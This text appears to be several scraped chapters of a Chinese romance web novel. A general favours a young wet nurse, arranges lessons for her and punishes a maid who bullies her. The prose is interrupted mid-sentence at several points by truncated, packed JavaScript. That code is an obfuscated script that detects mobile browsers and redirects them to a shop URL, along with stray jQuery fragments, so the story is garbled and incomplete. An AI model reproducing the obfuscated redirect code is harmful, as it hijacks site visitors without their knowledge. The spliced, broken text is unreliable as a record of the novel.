她就跪坐在他两腿之间,仰着那张巴掌大的小脸,睫毛颤着,嘴唇因为紧张而抿得有些发白。 傍晚天色渐沉,室内渐渐昏暗下来,唯有一缕残阳从窗间斜斜探入,恰好落在她脸上,把她那双水汪汪的眼睛照得又润又亮,像山间清凌凌的泉。 楚烬低头看着她,没动。 他的目光从她湿润的眼睛滑到她微微张开的唇,从她扬起的脸颊滑到她纤细的脖颈,又慢慢收回来,落回她那双水蒙蒙的眼睛里。 那目光沉沉的,像深潭里的水,表面平静,底下却藏着暗涌。 他突然抬手。 粗糙的指腹落在她唇上,轻轻蹭了一下。 那处软得像花瓣,被他糙砺的指尖一碰,立刻泛起一层浅浅的红。 他的拇指没有移开,而是沿着她唇瓣的轮廓慢慢描过去,从唇角到唇珠…… 一寸一寸的,像是在丈量什么。 罗苒被他摸得整个人都僵了,连呼吸都不敢大声。 她睁着那双水蒙蒙的眼睛望着他,睫毛轻抖着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454555|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“以前,可有过?” 楚烬开口,声音低哑得不像话。 有过? 有过什么? 罗苒茫然地看着他,脑子里一片空白,不明白他在问什么。 罗苒那副懵懵懂懂的样子似是取悦了楚烬,他那深邃的眼底浮起一层薄薄的笑意。 像一潭静水被风吹皱,荡开细细的涟漪。 他的拇指在她下唇上轻轻按了一下,感受到那处的柔软和温热,又慢慢松开。 “算了。” 他收回手,声音低低的,像是在跟自己说, “以后有的是时间教你。” 他把腿让开。 罗苒撑着地站起来,腿已经麻得没了知觉,踉跄了一下,扶住桌沿才站稳。 她低着头,脸不知为何红得厉害。 她说不清自己怎么了,只觉得浑身都在发烫,从脸颊烧到耳根,从耳根烧到脖颈,连指尖都在微微发颤。 楚烬看着她扶着桌沿勉强站稳的模样,挑了挑眉, “怎么?脚麻了?” 罗苒红着脸点了点头,不敢看他。 楚烬站起来,一手托着她的肩窝,一手揽住她的腰,轻轻一提,就把她从地上捞起来,放到了桌案上。 罗苒坐在桌沿,他则坐回椅子上,抬手把她的一条腿抬起来,让她屈膝踩在自己大腿上。 鞋底下是结实的肉感,罗苒吓了一跳,慌忙要缩脚, “会弄脏大爷的衣服……” 楚烬没理她,大手握着她的脚踝,动作熟练地揉捏起来。 他的掌心粗糙滚烫,从脚踝一路按到膝盖窝,又从膝盖窝慢慢捋回去,力道不轻不重。 酸麻的腿被他的手指一点一点地揉开,不适很快化解,整个人都松了下来。 罗苒低着头,盯着他那双骨节分明的大手。 那双手握过刀、拉过弓、杀过人。 如今却握着她的小腿,一下一下地揉着,动作熟练又耐心,像是在做什么极要紧的事。 她脑子里乱糟糟的,谁能想到那个万人之上杀伐果断的大将军,此时此刻竟毫不在乎地来给她一个下人揉腿…… 第41章 你先吃,我一会再吃 心跳又乱了。 楚烬低着头,揉完一条腿,换另一条,照样不紧不慢地按着。 他一边揉,一边随口问, “桃花酥吃了吗?” 罗苒老实点头,“在厨房帮厨娘尝过味道。” 楚烬顺手把一旁那碟桃花酥端过来,放到她手边, “再尝尝,看看府上做得好,还是外面街上做得好。” 罗苒接过盘子,托着那碟精致的点心,桃花酥做得小巧精致,酥皮上点缀着细碎的花瓣碎。 她抬眼看着楚烬,暮光落在他棱角分明的脸上,把那道轮廓勾得清隽柔和了不少。 他正低着头替她揉腿,睫毛在眼底投下一小片阴影,鼻梁高挺,薄唇微微抿着,这样的楚烬少了几分平日的冷硬,多了几分难言的温雅。 她忽然觉得嗓子有点干,垂下眼,小声说, “大爷您还没吃过呢。” 楚烬抬起头,目光落在她脸上,停了一瞬,又慢慢滑下去,定在她微微抿着的唇上。 他的嘴角微微弯了弯,那笑意不浓,却带着一种说不清道不明的意味,声音低了几分, “你先吃,我一会再吃。” 罗苒被他那目光看得心慌,低下头,咬了一口桃花酥。 桃花馅清甜绵软,瞬间在舌尖化开,满嘴都是淡淡的甜香。 她嚼了两下咽下去,眼眸满足地眯了眯。 楚烬看着她沾了一点酥皮碎屑的嘴唇,在烛光下泛着润润的光。 他喉结滚了滚,手上的动作也不由停了下来。 罗苒回过神来还是懵的,只记得方才楚烬低头时睫毛扫过她脸颊的触感,还有唇齿间那股霸道又滚烫的气息。 她被亲懵了,连自己是怎么从桌案上下来的都记不清。 只记得他的大手一直扣在她腰侧,掌心火热,隔着薄薄的春衫烫得她整个人都软了。 外面天都黑透了,楚烬这才肯放人回去。 他将用宣纸简单包好的砚台和墨条,连带着几只还没拆封的上好毛笔,一起塞进罗苒怀里。 那宣纸被他随手一裹,砚台的棱角硌着她的胸口,沉甸甸的。 就听楚烬说道, “这砚台墨条被你磕了,赏你了。” 那语气淡淡的,像是在处置一件不值钱的旧物,可那砚台是端溪老坑的,墨条上印着金箔,罗苒再不懂行也看得出贵重。 罗苒抬起还带着水汽的眼睛看他,烛光印在她眼底闪亮亮的。 她小声说, “可奴婢又不会写字……” 楚烬看着她那副又乖又懵的模样,伸出舌尖舔了舔嘴角。 那里还沾着桃花酥的甜味,混着她的气息,甜滋滋的。 他慢悠悠地说, “带回去,会用到的。” 第二日,楚烬来院里看衍哥儿,身后跟着一个陌生的女子。 那女子约莫二十出头,一身素净的青色褙子,发髻简单,不施粉黛,眉目间却有一种淡雅的书卷气,像是从水墨画里走出来的。 她步履从容,目光温和,嘴角微微带着笑,一看便知是读过书见过世面的。 楚烬站在院子里,神色如常,看了眼正坐在地上玩布老虎的衍哥儿和小玥,对一旁迎上的罗苒道, “衍哥儿和小丫头也该从小受些熏陶了,这是昭明女塾的严夫子,让夫子上午下午分别来教半个时辰。” 严夫子在楚烬身后,低头看了看那两个屁事不懂的小豆丁。 忍俊不禁的嘴角弯了弯,随即恭敬地对楚烬行了一礼, “将军,这俩孩子还太小,尚未开智,现在教他们,为时过早了些。 楚烬扫了一眼那两个还在泥巴地里滚的小东西,眉头微微皱了一下,像是在考虑这个事实。 他沉吟了一瞬,目光落在罗苒身上,忽然说, “那算了,你教她吧。” 他抬了抬下巴,指了指罗苒, “她是奶娘,让她学会了,到时再教他们也不迟,省得什么都不会,下次去书房伺候还笨手笨脚的……” 罗苒瞪大眼睛,不敢相信地看着楚烬。 他说这话时语气淡淡的,像在交代一件再寻常不过的差事。 可罗苒心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454556|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却像有什么东西炸开了。 年少时对学堂的渴望,早就在之后被柴米油盐的日子磨得干干净净,连灰都不剩。 她以为这辈子就这样了。 一辈子都是那个大字不识,连名字都不会写,只会缝补浆洗的普通妇人。 洗衣做饭,抱孩子喂奶。 日复一日,年复一年,像一口枯井,看不见波澜,也照不进光。 没想到竟然也有机会拿起那笔墨…… 这对她而言无疑是天大的恩惠。 罗苒心中感触颇深,喉咙发紧,好半天才挤出一句, “多谢大爷……多谢严夫子……” 虽然楚烬给罗苒找夫子这事,寻了个还算合理的由头。 可主子给下人专门请女先生,这事怎么想都不对劲。 有心之人只要稍微琢磨琢磨,再联想到楚烬面对罗苒时那些不同寻常的举动,便不难看出门道。 翠柳一直对楚烬存着心思,平日里一双眼睛恨不得长在他身上。 她那日亲眼瞧见罗苒进了书房,半天才红着脸出来,头发丝都是乱的。 第二天衍哥儿院就多了个女先生专门教她一个奶娘识文辨字…… 她自然也琢磨出不对劲来。 心里的嫉恨却像发了酵的面团,膨胀起来,撑得胸口发闷。 她在大爷身边伺候了这么多年,管着大房上下的琐事,连管家都要给她几分薄面。 如今一个带着拖油瓶的寡妇,凭什么得了大爷的青睐? 大房发放夏季衣物那日,翠柳正好管着分派的差事。 罗苒去取人人都有的两套夏衣。 轮到她时,翠柳古怪地瞧了她一眼,而后从另一边翻出一叠递到她手上。 罗苒接过来时,只觉得翠柳嘴角那抹笑意刺眼得很,却没多想,抱着衣裳回去了。 回去后翻看衣物,她才明白那笑为何不对劲。 那两件衣裳被叠在里面的地方,各有一道长长的裂口,线头散着,布料边沿齐整,分明是裁剪时就留下的残次。 罗苒只能抱着那两件衣服去找。 第42章 不是不报,只是时候未到 上午的衣裳已经分得差不多了,翠柳正坐在分发处嗑瓜子,几个心腹丫鬟围在旁边说笑。 她穿着一身簇新的粉白色褙子,领口绣着兰草纹,银丝线勾边,日光下泛着冷冷的光。 底下系着一条月白色马面裙,裙褶压得齐齐整整,走起路来一摆一摆的,像孔雀抖开了尾巴。 头上簪了两支赤金簪子,耳垂上坠着米粒大的珍珠耳环,通身上下收拾得比寻常人家的小姐还要体面。 罗苒来了,她眼皮都没抬,慢悠悠地吐出一片瓜子壳,瓜子壳落在脚边,碎成几瓣。 罗苒将衣裳摊开,指着那道裂口,声音不大却清楚, “翠柳姑娘,这两件衣裳,一件袖口破了,一件背后破了,能不能换一件?” 翠柳这才抬起眼皮,目光从那两件破衣裳上扫过,嘴角一撇,阴阳怪气地开了腔, “谁知道是不是你自己拿回去弄坏的,转头又来讹我?” 她说完,旁边的丫鬟便掩着嘴笑,目光在罗苒身上剜来剜去,像刀子似的。 罗苒攥着衣裳的手指紧了紧,指腹蹭过那道裂口的边缘,压着声气说, “这衣裳到我手里总共不过半刻钟,我连试都没试过,怎会是我故意弄坏的?” 翠柳把手里瓜子往盘子里一摔,“啪”的一声脆响,瓜子壳碎屑溅到罗苒裙角上。 她站起来,叉着腰,声音拔高了半度,带着几分被顶撞的恼怒, “怎么?你的意思是我故意拿两件坏的给你?当小公子的奶娘就高人一等了?就可以睁眼污蔑人了?” 罗苒抿着嘴, “我不是这个意思。” “那你是什么意思?” 翠柳的声调又尖了几分,像指甲划过瓷面, “我翠柳在大院伺候大爷六年,堂堂楚府一等大丫鬟,莫不是还要被你这个初来乍到的乡下村妇污蔑欺辱?仗着大爷的几分青睐就忘乎所以了?” 她越说越来气,指着罗苒的鼻子, “行,你既然说我故意为难你,那你下午的鞋和布匹也别要了!” 身边的几个丫鬟忙凑上来,七嘴八舌地安慰翠柳,明里暗里都在挖苦罗苒。 一个个拿腔拿调的,声音不大不小,刚好能让周围的人都听见。 “翠柳姐姐别气了,不过是个克死丈夫的寡妇,凭着大爷看她几眼,就真把自己当个人物了?也不撒泡尿照照自己,一个低贱的奶娘,还想飞上枝头变凤凰,痴心妄想!” “可不是,楚府的规矩都学到狗肚子里去了,竟然还敢公然顶撞翠柳姐姐,也不看看你是什么身份!” 来来往往的下人听见动静,都放慢了脚步,偷偷往这边瞧。 罗苒站在人群中间,手里还捧着那两件破衣裳,被这些尖酸刻薄的话刺得脸颊发烫。 她能感觉到四面八方投来的目光。 有同情,有好奇,有幸灾乐祸,还有等着看好戏的。 她没有再说话,不是怕了,是知道说了也没用。 翠柳是府里的大丫鬟,根基深,人脉广,她一个刚来不久的奶娘,在这里跟她争,只会让自己更难堪。 罗苒转过身,往回走。 身后,翠柳还在跟丫鬟们说笑,声音故意扬得很高,一字一句都往她耳朵里钻, “有些人啊,也不掂量掂量自己几斤几两……” 罗苒脚步没停,步子迈得又快又稳,把那声音甩在身后。 回到院里,李婆婆和刘婆婆显然也听说了刚刚的事。 李婆婆接过那两件破得离谱的衣衫,翻来覆去看了看,叹了口气,压低声音劝她, “翠柳十岁来楚府,十二岁就开始在大爷院伺候。别看她在下人面前狐假虎威,一副趾高气扬的样子,在大爷和其他主子面前,嘴甜会来事,殷勤得很……这种人,不要轻易招惹才是。” 刘婆婆也在一旁点头,跟着劝, “且忍一忍吧,小心惹急了她,暗地里再给你苦头吃。” 罗苒坐在床边,听着两位婆婆的话,没有应声。 她性子温软,却也不是能这样莫名其妙被针对的。 那些挖苦嘲讽的话,她倒不气…… 作为寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时的楚烬一身朱红色织金九章朝服,金线暗绣的龙纹隐在衣料深处,只在步履微动时才掠过冷冽流光,庄重得近乎压迫。 他身形本就高大,朝服加身更显肩宽背阔,整个人像一柄出鞘的长刀,连空气都被他劈开了一道口子。 明明是礼制加身的朝服,穿在他身上却似披了层甲胄,只静静站着,便叫人不敢直视,连周遭空气都仿佛被冻得凝滞,满是生人勿近的慑人威压。 第43章 她跟个小兔儿似的 那两个丫鬟看到身后的楚烬,吓得魂都要飞了,方才还笑得前俯后仰,此刻脸色煞白,腿都软了,慌忙行礼,大气都不敢出。 楚烬不再看那些战战兢兢的丫鬟,目光越过她们,落在抱着衍哥儿的罗苒身上。 罗苒此时正好背过身蹲下去抱衍哥儿。 楚烬一眼便看到了她衣裳背后,白线的粗糙针脚在日光下扎眼得很。 他的眉头皱了起来,大步走过去。 罗苒见楚烬走来,一手抱着衍哥儿一手拉着小玥给他行礼,神情温顺恬静, “见过大爷。” 楚烬眉头微皱,单刀直入地问, “你这是怎么回事?” 罗苒装似茫然地抬起头,像是不明白他在问什么。 楚烬的目光落在那道歪歪扭扭的针脚上,声音沉了几分, “你衣服怎破成这样?” 罗苒抱着衍哥儿垂下眼,睫毛轻轻颤了颤,轻柔的声音带着几分委屈又不显得刻意, “昨日领的衣服,回去后发现两套都是这样了……” “裂口太大,奴婢没那么多时间,也没多余的精线来缝补,只能匆匆缝了几针……大爷莫要像别人一样笑话奴婢……” 楚烬看着她那副小心翼翼的模样,眉头拧得更紧了, “既是昨日刚发的衣裳,发现问题为何不直接去换?” 罗苒似唯诺地将头垂得更低了,声音也轻了下去, “这衣服是奴婢拿回去之后才发现坏了的……奴婢没办法证实当时拿的时候就是坏的……或许也确实如翠柳姑娘所言,真是奴婢自己弄坏的……” 楚烬声音沉下几分,彰显着不悦, “刚领的衣裳,怎能坏?就算坏了,楚府采买物资都会备有富余,直接去换便是……” 罗苒抿了抿嘴, “算了……其实这样穿也一样的……若是坚持要换,反倒被人误会是衍哥儿的奶娘高人一等……” 她垂着头,抿着嘴,睫毛颤着,那副无辜又隐忍的模样让楚烬的目光冷了几分。 他没再追问,只又上下打量了她一眼。 目光瞟到她裙摆下的布鞋时停了下来。 那是一双春季的布鞋,鞋面已经洗得发白,边缘磨起了毛边。 “发的新鞋呢?你为何还穿着春季的鞋?” 楚烬问。 罗苒抿着嘴不说话,眼眶却微微泛红。 楚烬已然猜出了什么。 他转头冷声吩咐身旁的人, “负责分发大院物资的是谁?把她叫来。” 不多时,翠柳匆匆而来,笑盈盈地行礼, “见过大爷。” 楚烬扫了她一眼。 她今日穿着一件崭新的桃粉色刺绣长衫,领口绣着缠枝莲,头上簪了两支带流苏的碧玉簪子鬓边还缀着一朵粉色的精致绒花。 身上耳坠镯子一件不少,和衣衫破损素面朝天的罗苒形成鲜明的对比。 翠柳难得被楚烬主动召见,本是满心欢喜。 可行完礼,抬眼看见楚烬那张铁青的脸,又瞥见一旁抱着衍哥儿默不作声的罗苒时,心里顿时涌上一股不好的预感,脸上的笑也僵了半截。 楚烬不啰嗦,直言问道, “她的衣衫,是你分发的?” 翠柳很快反应过来,意识到定然是罗苒告了状。 她脸上的笑僵了一瞬,随即又堆了起来,声音不疾不徐, “回大爷,是奴婢分发的。” “她到手的是破了的衣衫,为何不给她更换?” 楚烬的声音不高,却带着一股冷冷的压迫感, “还有那按府上规定,分批发放的鞋子和布匹呢?” 翠柳张口便是狡辩,语气里带着几分被冤枉的委屈, “大爷明鉴,她的衣衫确实是奴婢分发的,这些衣衫在分发之前,奴婢都一件一件仔细检查过,没有半点问题。这位奶娘……” 她瞥了罗苒一眼,声音压低了些, “之前便因自作主张想要去书房给大爷送桃花酥,被奴婢拦下训斥了几句,便怀恨在心,故意想要从中作梗为难奴婢,故意污蔑奴婢发了破衣服给她。” “奴婢本想着忍一时风平浪静,是想要给她更换的。可她实在胡搅蛮缠,趾高气扬地数落奴婢的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454558|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,说话十分难听……” “奴婢实在气不过,才会说了气话,不给她分发布匹和鞋子。” 她抬眼看着楚烬,一副受了委屈还要强撑的模样, “大爷若是不信,可以问当时在场的其他人。” 说着,她的眼神不动声色地示意愣在一旁的两个心腹丫鬟。 那两个丫鬟看到她的眼色,忙不迭地点头,七嘴八舌地开口。 “对对对,奴婢亲眼看见的,是罗娘子先骂人的……” “翠柳姐姐好心要给她换,她还不领情,说话可难听了,说自己是小公子的奶娘便是这府上的主子,若是翠柳姐姐不给她下跪道歉她便禀告大爷把我们都杖杀了……” “就是就是,翠柳姐姐也是被气急了才会说那些话……” 楚烬冷扫了这些丫鬟一眼,那目光像刀子似的,所过之处,人人噤声。 方才还你一眼我一语的两个丫鬟,更是大气都不敢出,甚至都开始情不自禁的发起抖来。 楚烬收回目光,最后将目光落到抱着衍哥儿,垂头抿嘴不语的罗苒脸上。 今日天气很好,日光落在她身上,将一身衣料都染得柔和透亮。 她肌肤本就白皙,被暖光一映,近乎剔透,连耳尖那点淡粉都清晰可见。 眉眼本就生得极美,此刻微微蹙着,眼底蒙着一层水光,整个人像被阳光裹着的易碎琉璃,美得脆弱,又委屈得让人生怜。 楚烬瞧着她那样,心都软了。 他转过头,看着翠柳,冷嗤一声, “她跟个小兔儿似的,稍微对她说话大声点就吓得掉泪哆嗦,你说她趾高气扬?说话刻薄难听?” 这明显的维护之意让翠柳脸色一白,却还是硬着头皮急急辩解, “大爷,您别被这女人的模样骗了……” “你是说,本将军是非不分?” 楚烬打断她,声音冷冽森然,像一座山重重压下。 翠柳腿一软,扑通跪了下去, “奴婢不敢。” 身边的那两个丫鬟也吓得跟着跪下,额头抵着青砖,一个字都不敢再多说。 第44章 继续学着算账管家吧 楚烬居高临下地看着她们,只冷冷问道, “你们说她口口声声说要禀告我把你们都杖杀了,那今日我见到她后提及这破了的衣衫,她为何不第一时间向我告状?反而只是说要我不要跟其他人一样笑话她……” 他目光森森,扫过跪在地上的几个丫鬟,咬着牙,一字一句从齿缝里挤出来, “想必,那些笑话她的人,便是你们了。” 这话说出口,楚烬心里忽然涌上一股说不清的滋味。 他低头看了一眼站在旁边的罗苒。 她还垂着头,睫毛颤着。 从方才到现在,她一句告状的话都没说,甚至在他问起时,还替翠柳开脱,说是“或许真是我自己弄坏的”。 被欺负成这样,被克扣了布匹鞋子,被当众嘲笑挖苦,她都没哭没闹没告状。 只自己把破衣裳缝了缝,穿着出门,被人笑话了也只是一声不吭地受着。 这小奶娘,软软弱弱的,想个白白小小的面团,总是认人揉捏。 几个小小丫鬟,竟都敢明目张胆地污蔑她、欺辱她。 果然,这样可怜见的小人儿离了他护着就不行。 楚烬攥了攥拳头,指节捏得咔咔响。 跪在地上的丫鬟们吓得魂飞魄散,伏在地上连连磕头,声音带着哭腔, “大爷开恩!大爷开恩!奴婢再也不敢了……” “开恩?” 楚烬冷笑一声,没再看她们,抬手唤来管家, “去,把昨日的物资发放记录全部拿过来,一本一本地查。” 郭管家翻了翻记账本,片刻后指着上面的记录,清清楚楚地道, “回大爷,账上写着采买的夏装入库时确实有两套残次品。但老奴刚刚问过库房,那两套残次品已经没了……想必,便是罗娘子领走的那两套。” 他顿了顿,又翻过一页,眉头微微皱起, “再者,账上显示罗娘子已经领了布匹和鞋子。但这账册上的签名……” 他把本子捧起来,指着末尾那个歪歪扭扭的字迹,“应该不是罗娘子的手笔。” 话没说完,在场的人心里都已经明白了。 翠柳刻意针对罗苒,给了她破衣裳,还私吞了她的布匹和鞋。 这么些年,怕也不知道用这样的手段为难了多少她看不顺眼的下人,私吞了多少府里的钱财物资。 楚烬的脸色沉得可怕, “楚府竟然还有这等欺瞒霸凌之事,本将军如何能忍?” 翠柳和那几个丫鬟早已吓得脸色惨白,伏在地上连连磕头,哭的妆都花了。 楚烬看都不看她们一眼,声音沉冷果断, “翠柳,贪没公物、欺压同僚,当即彻查,若不想被送官,就把这些年贪的东西全吐出来……另罚一年俸禄,鞭二十,降为大院最低等的洒扫丫鬟……” 他的目光扫过那两个同流合污的丫鬟,声音更沉了几分, “至于你们,参与霸凌、作伪证,一律降为最低等丫鬟,罚俸三个月。” 他顿了顿,目光森森地扫过在场所有人,声音拔高了几分, “以后府上若再有这种事情发生,一律鞭挞后发卖,绝不姑息。” 翠柳瘫软在地,脸色灰败,再也没了之前那股嚣张气焰。 被婆子架起来拖走时,她忽然挣扎着回头,声音尖利得变了调, “大爷!我在您院里伺候了六年!我一心一意侍奉您,您怎能对我如此绝情!” 楚烬半点没有动容,看她像看一堆垃圾,声音淡淡的,却字字扎心, “便是念在你伺候多年,才信任你,将大院琐事交给你打理,却没想到你仗着这份信任,做出这等腌臜事。” “这么些年,也不知大院的下人在你手里受了多少苛责欺凌。” 翠柳张了张嘴,还想说什么,被婆子捂住嘴拖了下去。 她的身影消失在月洞门外,院子里安静下来,只有风吹过紫罗兰树的沙沙声。 楚烬转过身,目光落在罗苒身上。 他看着她那件缝了歪扭针脚的衣裳,心中又是一阵莫名心疼,声音放低了几分,哄着道, “严夫子说你这段时间学得很快,那便继续学着算账管家吧……” 他顿了顿,“翠柳空出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454559|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的差事,以后由你来管。” 罗苒抬起眼,黝黑的眼眸中带着几分不敢相信。 虽然楚烬整治翠柳在她意料之中,可他将大院的琐事交给她处理,这却是意料之外。 一阵风拂过,把地上几片落叶卷了起来。 那叶子在空中打了几个旋,晃晃悠悠的,最后落在罗苒脚边,也像是落在了她心尖上。 从那天起,罗苒便开始学着管理大院的事务。 她学写字,学算账,学管家,一样一样从头学起,仔仔细细,认认真真。 严夫子夸她聪慧,一教就会。 她却知道自己不是聪慧,只是太珍惜这个机会了。 她坐在库房里,对着账本一笔一笔地核对,手腕酸了也不肯停。 算盘珠子在她指尖噼里啪啦地响,起初生疏,拨得磕磕绊绊,渐渐地,手指便有了记忆,快了起来,准了起来。 楚烬来找她的时候,她已经连着好几日除去给衍哥儿喂奶的时间便都呆在库房了。 他站在库房门口,看着那个埋头在账本里的小娘子,眉头微微皱了一下。 “这几日都不见你人影。” 他开口,声音不咸不淡。 罗苒抬起头,揉了揉酸涩的眼睛,见是楚烬,笑了一下,起身迎道, “大爷…… 要学的东西太多了,奴婢底子薄,怕跟不上,所以……” 她顿了顿,声音轻了几分, “可能一开始会有点忙。” 楚烬看着她那副认真又有些不好意思的模样,没说什么,只走进来,站在她身侧,低头看了一眼账本。 上面的字迹虽然还带着几分稚气,却一笔一画工工整整,比最初那些歪歪扭扭的字不知好了多少。 算盘也打得像模像样,账目理得清清楚楚。 他嘴角微微弯了弯,抬手,粗糙的大掌覆在她头顶,轻轻揉了揉。 声音低低的,带着几分难得的温柔, “这账理得不错,慢慢来,这些事又不是一日两日便能学会的。” 罗苒感受着那只大手从头顶滑过的温度,眼眶忽然有些发酸。 第45章 谁也不是生来自卑怯弱的 她低下头,装作翻账本,把那点湿意憋了回去。 她心里清楚,这一路走来,若不是楚烬,自己不会有今天。 本以为她罗苒这辈子就这样了。 一辈子都是那个大字不识,连名字都不会写,只会缝补浆洗生活贫苦艰辛的普通妇人。 可如今…… 她低头看着自己手里的账本,看着上面工工整整的字迹…… 窗外的阳光落进来,把她的影子投在地上,那影子不再像从前那样唯诺怯弱,而是挺直了腰背,稳稳地坐着。 谁也不是生来自卑怯弱的。 可一个人什么都没有,什么都不会的时候,又怎么能不怯呢? 如今她手里握着笔,掌着算盘,看着账本,心里忽然有了一种从未有过的感觉…… 像是从前一望到头的人生,忽然裂开了一道缝,有光从那里照进来。 她不知道那道缝后面是什么,但至少,不再是一望无际的灰暗。 然而变故总是不期而至。 楚烬突然接到圣令,要率兵营救陇州行旅中被当地恶匪挟持的政王一家。 军情紧急,他匆匆点了兵马,甚至连夜便拔营出发,走得太急,都没来得及跟罗苒打声招呼。 罗苒是第二日才从管家口中得知的。 陇州那边的恶匪她听说过。 横行多年,圈地为王,朝廷几次围剿都无功而返,如今竟敢挟持皇亲国戚,以要挟皇帝承认他们的地盘。 她心里隐隐有些担忧,但转念一想,楚烬征战多年,面对百万敌军都游刃有余,百战不殆。 那些粗蛮的恶匪,想必也奈何不了他。 这样想着,那颗悬着的心便放下了一些。 可没过多久,她就再没心思去想楚烬了。 衍哥儿病了。 起初只是夜里睡得不安稳,翻来覆去地哼唧,罗苒以为是白天玩得太疯,没太在意。 可第二日一早,她给衍哥儿换衣裳时,解开他的小褂子,才发现胸口后背和胳膊上密密麻麻起了一层红疹,一片连着一片,红得刺眼。 衍哥儿痒得直蹭,嫩皮蹭破了好几处,渗出细细的血珠。 府医来了,看了半天,说是可能是风疹,开了药。 可喂了两天,不但不见好,红疹反而越起越多。 衍哥儿也越来越闹,吃不下奶,睡不安稳,整个人瘦了一圈。 罗苒照看了衍哥儿大半年,一把屎一把尿拉扯到现在。 早就把他跟小玥一样当自己孩子看待,如今见他这般受罪,也顾不得旁的,整日整夜守着衍哥儿,喂药、擦身、哄睡,连小玥都托给了李婆婆。 却没想到,没过多久,小玥身上也起了红疹,和衍哥儿症状一模一样。 正焦头烂额的时候,老夫人院里来人,传她过去。 罗苒一进老夫人主厅的门,心里就沉了一下。 二夫人、三夫人都坐在下首,老夫人端坐上首,脸色铁青。 她们面前还站着一个人,身形消瘦,脸色蜡黄,穿着一身最下等的粗布衣裳,头发只用一根木簪子挽着,再无半点从前的体面。 正是前些时日被楚烬下令处罚的翠柳。 她站在那里,见罗苒进来,便抬起头,看向罗苒的时候,眼底满是恨意,还有一丝恶狠狠的得意。 像是一条被踩了尾巴的毒蛇,终于等到机会反咬一口。 罗苒心里有了数,上前给老夫人和两位太太行了礼。 老夫人没有寒暄,直接开口问道, “衍哥儿近日身子不适,你可知道?” 罗苒忙道, “回老夫人,衍哥儿身上起了红疹,府医来看过,开了药,却……” “却什么?” 老夫人打断她,目光锐利得像刀。 罗苒低下头,声音哑了几分, “却不知并不见好……” 翠柳站在一旁,继续字字带刺地添油加醋, “老夫人,奴婢绝非有意挑事,实在是看不过眼才斗胆来禀报。” “小少爷金尊玉贵的身子,交到这样的人手里,成日偷懒耍滑、敷衍了事,我看定然是故意苛待小少爷,才导致小少爷生病。” 说话间翠柳眼底的恨意和得意几乎藏不住。 被罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454560|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的这段日子,她日日做着最低等的洒扫活计,粗布衣裳磨得她手肘发红,再也没有了从前使唤人的风光。 她把所有的怨气都记在了罗苒头上,如今好不容易逮到机会,恨不得一口将她咬死。 “如今病成这样,若不严惩,往后还不知道要出什么大事!依奴婢看,这样的奶娘,就该赶出楚府,远远发卖了才好!” 二夫人和三夫人本是来给老夫人问安的,却正好碰上了这档子事,便也留了下来。 衍哥儿虽说不是楚烬亲生的,但早已过了户、落了祖宗祠堂,是正经上了族谱的楚家子孙。 老夫人一向看重这个孩子,此刻听闻翠柳的这番话下来,脸色更加阴沉几分,端坐着一言不发,手指慢慢捻着腕上的佛珠,不紧不慢,却让屋里的空气都跟着凝滞了几分。 